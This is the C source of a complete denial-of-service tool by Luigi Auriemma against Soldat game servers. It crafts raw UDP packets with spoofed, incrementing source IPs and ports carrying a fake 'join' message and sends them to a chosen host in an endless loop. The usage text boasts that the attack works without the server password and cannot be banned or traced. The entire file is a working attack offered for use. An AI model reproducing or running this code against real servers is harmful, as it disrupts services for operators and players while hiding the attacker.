/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>



#define VER         "0.1"
#define WAIT        500000  // half second
#define PORT        23073
#define IPSZ        sizeof(struct iphdr)
#define UDPSZ       sizeof(struct udphdr)
#define DATASZ      (sizeof(join) - 1)
#define PSEUDOSZ    sizeof(struct pseudohdr)
#define SIZE        (IPSZ + UDPSZ + DATASZ)
#define PSSIZE      (PSEUDOSZ + UDPSZ + DATASZ)



u_short in_cksum(u_short *addr, int len);
u_int resolv(char *host);
void std_err(void);



struct pseudohdr {
    u_int32_t   saddr;
    u_int32_t   daddr;
    u_int8_t    zero;
    u_int8_t    protocol;
    u_int16_t   length;
} *pseudo;



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    struct  iphdr   *ip;
    struct  udphdr  *udp;
    int     sd;
    u_short port = PORT;
    u_char
/* info is not used, use it if you wanna have a periodical check on the status of the server
            info[] =
                "\x0e"
                "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
                "\0\0\0\0\0",
*/
            join[] =
                "\x0f"
                "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
                "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
                "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
                "\0\0",
            buff[SIZE],
            pseudobuff[PSSIZE],
            *data;


    srand(time(NULL));
    setbuf(stdout, NULL);

    fputs("\n"
        "Soldat spoofed (and unbannable) Fake Players DoS "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            " Note: this tool works also versus servers protected by password without\n"
            "       knowing the keyword!\n"
            " Note: this tool uses different source IP and ports so the server canNOT\n"
            "       ban you and cannot know your real IP, practically the attack cannot\n"
            "       be avoided\n"
            "\n", argv[0], port);
        exit(1);
    }

    ip     = (struct iphdr *)buff;
    udp    = (struct udphdr *)(buff + IPSZ);
    data   = (u_char *)(buff + IPSZ + UDPSZ);
    pseudo = (struct pseudohdr *)pseudobuff;

    if(argc > 2) port = atoi(argv[2]);

    ip->saddr            = rand();
    udp->source          = htons(time(NULL));
    udp->dest            = htons(port);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = udp->dest;
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(udp->dest));

        /* IP header */
    ip->ihl      = 5;
    ip->version  = 4;
    ip->tos      = 0x10;
    ip->tot_len  = htons(SIZE);
    ip->id       = htons(1);
    ip->frag_off = htons(0);
    ip->ttl      = 128;
    ip->protocol = IPPROTO_UDP;
    ip->check    = 0;
//  ip->saddr    = ;
    ip->daddr    = peer.sin_addr.s_addr;

        /* UDP header */
//  udp->source = ;
//  udp->dest   = ;
    udp->check  = 0;
    udp->len    = htons(UDPSZ + DATASZ);

        /* data */
    memcpy(data, join, DATASZ);

        /* pseudo header */
//  pseudo->saddr    = ip->saddr;
    pseudo->daddr    = ip->daddr;
    pseudo->zero     = 0;
    pseudo->protocol = IPPROTO_UDP;
    pseudo->length   = udp->len;

    for(;;) {
        fputc('.', stdout);

        ip->saddr++;
        pseudo->saddr = ip->saddr;
        memcpy(pseudobuff + PSEUDOSZ + UDPSZ, data, DATASZ);
        udp->check = 0; // recalculate checksum
        udp->source++;
        memcpy(pseudobuff + PSEUDOSZ, udp, UDPSZ);
        udp->check = htons(in_cksum((u_short *)pseudobuff, PSSIZE));

        sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if(sd < 0) std_err();
        if(sendto(sd, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        close(sd);

        usleep(WAIT);
    }

    fputs("Done\n", stdout);
    return(0);
}



    /* for both little and big-endians, lame but multi-platform */
u_short in_cksum(u_short *addr, int len) {
    u_int  sum;

    for(sum = 0; len > 1; len -= 2) {
        sum += *addr++;
    }
    if(len) sum += ntohs(htons(*addr) & 0xff00);
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return(ntohs(~sum));
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) std_err();
        else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

